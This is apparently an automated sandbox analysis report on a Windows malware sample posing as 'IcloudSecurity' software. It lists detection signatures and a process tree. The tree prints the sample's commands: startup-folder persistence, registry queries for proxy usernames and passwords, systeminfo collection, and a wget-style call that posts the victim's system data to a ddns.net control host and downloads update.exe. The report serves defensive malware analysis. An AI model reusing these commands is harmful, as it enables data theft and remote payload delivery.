46dc49be65d7165e2a6009854a4f27f0088230199e61e0555cb1bd266535874a

Analysis

max time kernel
146s
max time network
151s
platform
windows10_x64
resource
win10
submitted
11-08-2020 12:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

foo/63e9ce22dbf66934fd75c77bc84954d0.exe

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
512	Icloud.exe
2104	Iclouding.exe
2656	Iclouding.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IcloudSecurity.lnk	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IcloudSecurity.lnk	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 10 IoCs

evasion

pid	Process
3172	timeout.exe
2888	timeout.exe
1104	timeout.exe
528	timeout.exe
1148	timeout.exe
3272	timeout.exe
3336	timeout.exe
3844	timeout.exe
3760	timeout.exe
668	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1276	systeminfo.exe

Kills process with taskkill 9 IoCs

evasion

pid	Process
2548	taskkill.exe
2672	taskkill.exe
2160	taskkill.exe
3708	taskkill.exe
1344	taskkill.exe
3572	taskkill.exe
3596	taskkill.exe
1552	taskkill.exe
4052	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3572	taskkill.exe
Token: SeDebugPrivilege	2548	taskkill.exe
Token: SeDebugPrivilege	2672	taskkill.exe
Token: SeDebugPrivilege	3596	taskkill.exe
Token: SeDebugPrivilege	2160	taskkill.exe
Token: SeDebugPrivilege	3708	taskkill.exe
Token: SeDebugPrivilege	1552	taskkill.exe
Token: SeDebugPrivilege	4052	taskkill.exe
Token: SeDebugPrivilege	1344	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3420 wrote to memory of 3296	3420	63e9ce22dbf66934fd75c77bc84954d0.exe	67
PID 3420 wrote to memory of 3296	3420	63e9ce22dbf66934fd75c77bc84954d0.exe	67
PID 3420 wrote to memory of 3296	3420	63e9ce22dbf66934fd75c77bc84954d0.exe	67
PID 3296 wrote to memory of 3572	3296	cmd.exe	69
PID 3296 wrote to memory of 3572	3296	cmd.exe	69
PID 3296 wrote to memory of 3572	3296	cmd.exe	69
PID 3296 wrote to memory of 512	3296	cmd.exe	71
PID 3296 wrote to memory of 512	3296	cmd.exe	71
PID 3296 wrote to memory of 512	3296	cmd.exe	71
PID 3296 wrote to memory of 688	3296	cmd.exe	72
PID 3296 wrote to memory of 688	3296	cmd.exe	72
PID 3296 wrote to memory of 688	3296	cmd.exe	72
PID 512 wrote to memory of 560	512	Icloud.exe	73
PID 512 wrote to memory of 560	512	Icloud.exe	73
PID 512 wrote to memory of 560	512	Icloud.exe	73
PID 560 wrote to memory of 1196	560	cmd.exe	75
PID 560 wrote to memory of 1196	560	cmd.exe	75
PID 560 wrote to memory of 1196	560	cmd.exe	75
PID 560 wrote to memory of 1280	560	cmd.exe	76
PID 560 wrote to memory of 1280	560	cmd.exe	76
PID 560 wrote to memory of 1280	560	cmd.exe	76
PID 560 wrote to memory of 1276	560	cmd.exe	77
PID 560 wrote to memory of 1276	560	cmd.exe	77
PID 560 wrote to memory of 1276	560	cmd.exe	77
PID 560 wrote to memory of 2896	560	cmd.exe	80
PID 560 wrote to memory of 2896	560	cmd.exe	80
PID 560 wrote to memory of 2896	560	cmd.exe	80
PID 2896 wrote to memory of 3688	2896	cmd.exe	81
PID 2896 wrote to memory of 3688	2896	cmd.exe	81
PID 2896 wrote to memory of 3688	2896	cmd.exe	81
PID 2896 wrote to memory of 2752	2896	cmd.exe	82
PID 2896 wrote to memory of 2752	2896	cmd.exe	82
PID 2896 wrote to memory of 2752	2896	cmd.exe	82
PID 560 wrote to memory of 3924	560	cmd.exe	83
PID 560 wrote to memory of 3924	560	cmd.exe	83
PID 560 wrote to memory of 3924	560	cmd.exe	83
PID 3924 wrote to memory of 2328	3924	cmd.exe	84
PID 3924 wrote to memory of 2328	3924	cmd.exe	84
PID 3924 wrote to memory of 2328	3924	cmd.exe	84
PID 3924 wrote to memory of 3944	3924	cmd.exe	85
PID 3924 wrote to memory of 3944	3924	cmd.exe	85
PID 3924 wrote to memory of 3944	3924	cmd.exe	85
PID 560 wrote to memory of 3256	560	cmd.exe	86
PID 560 wrote to memory of 3256	560	cmd.exe	86
PID 560 wrote to memory of 3256	560	cmd.exe	86
PID 3256 wrote to memory of 2028	3256	cmd.exe	87
PID 3256 wrote to memory of 2028	3256	cmd.exe	87
PID 3256 wrote to memory of 2028	3256	cmd.exe	87
PID 3256 wrote to memory of 3424	3256	cmd.exe	88
PID 3256 wrote to memory of 3424	3256	cmd.exe	88
PID 3256 wrote to memory of 3424	3256	cmd.exe	88
PID 560 wrote to memory of 3844	560	cmd.exe	89
PID 560 wrote to memory of 3844	560	cmd.exe	89
PID 560 wrote to memory of 3844	560	cmd.exe	89
PID 560 wrote to memory of 2548	560	cmd.exe	96
PID 560 wrote to memory of 2548	560	cmd.exe	96
PID 560 wrote to memory of 2548	560	cmd.exe	96
PID 560 wrote to memory of 2672	560	cmd.exe	97
PID 560 wrote to memory of 2672	560	cmd.exe	97
PID 560 wrote to memory of 2672	560	cmd.exe	97
PID 560 wrote to memory of 1104	560	cmd.exe	98
PID 560 wrote to memory of 1104	560	cmd.exe	98
PID 560 wrote to memory of 1104	560	cmd.exe	98
PID 560 wrote to memory of 2104	560	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\foo\63e9ce22dbf66934fd75c77bc84954d0.exe
"C:\Users\Admin\AppData\Local\Temp\foo\63e9ce22dbf66934fd75c77bc84954d0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3420
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\iclouds.cmd" "
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Icloud.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3572
- - C:\Users\Admin\IcloudSecurity\Icloud.exe
    "C:\Users\Admin\IcloudSecurity\Icloud.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:512
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\icloud.cmd" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:560
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vol c:
        5⤵
        
        PID:1196
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vol c:
        5⤵
        
        PID:1280
    - - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:1276
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyServer"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2896
      - C:\Windows\SysWOW64\reg.exe
        
        Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
        6⤵
        
        PID:3688
      - C:\Windows\SysWOW64\find.exe
        
        Find /I "ProxyServer"
        6⤵
        
        PID:2752
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyUser"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3924
      - C:\Windows\SysWOW64\reg.exe
        
        Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
        6⤵
        
        PID:2328
      - C:\Windows\SysWOW64\find.exe
        
        Find /I "ProxyUser"
        6⤵
        
        PID:3944
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyPass"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3256
      - C:\Windows\SysWOW64\reg.exe
        
        Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
        6⤵
        
        PID:2028
      - C:\Windows\SysWOW64\find.exe
        
        Find /I "ProxyPass"
        6⤵
        
        PID:3424
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 44
        5⤵
        Delays execution with timeout.exe
        
        PID:3844
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2548
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im update.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2672
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1104
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Iclouding.exe
        
        Iclouding.exe --post-data="versiya=arm_27.08&comp=GOHCSFBB&id=GOHCSFBB_9710A7BE&sysinfo=Host Name: GOHCSFBB+###OS Name: Microsoft Windows 10 Pro+###OS Version: 10.0.15063 N/A Build 15063+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: Admin+###Registered Organization: +###Product ID: 00331-10000-00001-AA794+###Original Install Date: 6/16/2020, 11:40:04 AM+###System Boot Time: 8/11/2020, 12:33:57 PM+###System Manufacturer: DADY+###System Model: Standard PC (Q35 + ICH9, 2009)+###System Type: x64-based PC+###Processor(s): 2 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2195 Mhz+###[02]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2195 Mhz+###BIOS Version: SeaBIOS rel-1.12.0-0-ga698c89-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\Windows+###System Directory: C:\Windows\system32+###Boot Device: \Device\HarddiskVolume2+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC) Coordinated Universal Time+###Total Physical Memory: 4,095 MB+###Available Physical Memory: 3,243 MB+###Virtual Memory: Max Size: 5,503 MB+###Virtual Memory: Available: 4,856 MB+###Virtual Memory: In Use: 647 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\GOHCSFBB+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.10.0.18+###[02]: fe80::5d84:8313:378d:856f+###Hyper-V Requirements: VM Monitor Mode Extensions: No+###Virtualization Enabled In Firmware: No+###Second Level Address Translation: No+###Data Execution Prevention Available: Yes+###" "http://single-office.ddns.net" -q -N http://single-office.ddns.net -O update.exe
        5⤵
        Executes dropped EXE
        
        PID:2104
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 5
        5⤵
        Delays execution with timeout.exe
        
        PID:528
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3596
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 4
        5⤵
        Delays execution with timeout.exe
        
        PID:1148
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2160
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 24
        5⤵
        Delays execution with timeout.exe
        
        PID:3760
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 44
        5⤵
        Delays execution with timeout.exe
        
        PID:668
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3708
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im update.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1552
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3172
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Iclouding.exe
        
        Iclouding.exe --post-data="versiya=arm_27.08&comp=GOHCSFBB&id=GOHCSFBB_9710A7BE&sysinfo=Host Name: GOHCSFBB+###OS Name: Microsoft Windows 10 Pro+###OS Version: 10.0.15063 N/A Build 15063+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: Admin+###Registered Organization: +###Product ID: 00331-10000-00001-AA794+###Original Install Date: 6/16/2020, 11:40:04 AM+###System Boot Time: 8/11/2020, 12:33:57 PM+###System Manufacturer: DADY+###System Model: Standard PC (Q35 + ICH9, 2009)+###System Type: x64-based PC+###Processor(s): 2 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2195 Mhz+###[02]: Intel64 Family 6 Model 6 Stepping 3 GenuineIntel ~2195 Mhz+###BIOS Version: SeaBIOS rel-1.12.0-0-ga698c89-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\Windows+###System Directory: C:\Windows\system32+###Boot Device: \Device\HarddiskVolume2+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC) Coordinated Universal Time+###Total Physical Memory: 4,095 MB+###Available Physical Memory: 3,243 MB+###Virtual Memory: Max Size: 5,503 MB+###Virtual Memory: Available: 4,856 MB+###Virtual Memory: In Use: 647 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\GOHCSFBB+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.10.0.18+###[02]: fe80::5d84:8313:378d:856f+###Hyper-V Requirements: VM Monitor Mode Extensions: No+###Virtualization Enabled In Firmware: No+###Second Level Address Translation: No+###Data Execution Prevention Available: Yes+###" "http://single-office.ddns.net" -q -N http://single-office.ddns.net -O update.exe
        5⤵
        Executes dropped EXE
        
        PID:2656
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 5
        5⤵
        Delays execution with timeout.exe
        
        PID:3272
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4052
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 4
        5⤵
        Delays execution with timeout.exe
        
        PID:2888
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im Iclouding.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1344
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 24
        5⤵
        Delays execution with timeout.exe
        
        PID:3336
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\error.vbs"
    3⤵
    PID:688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads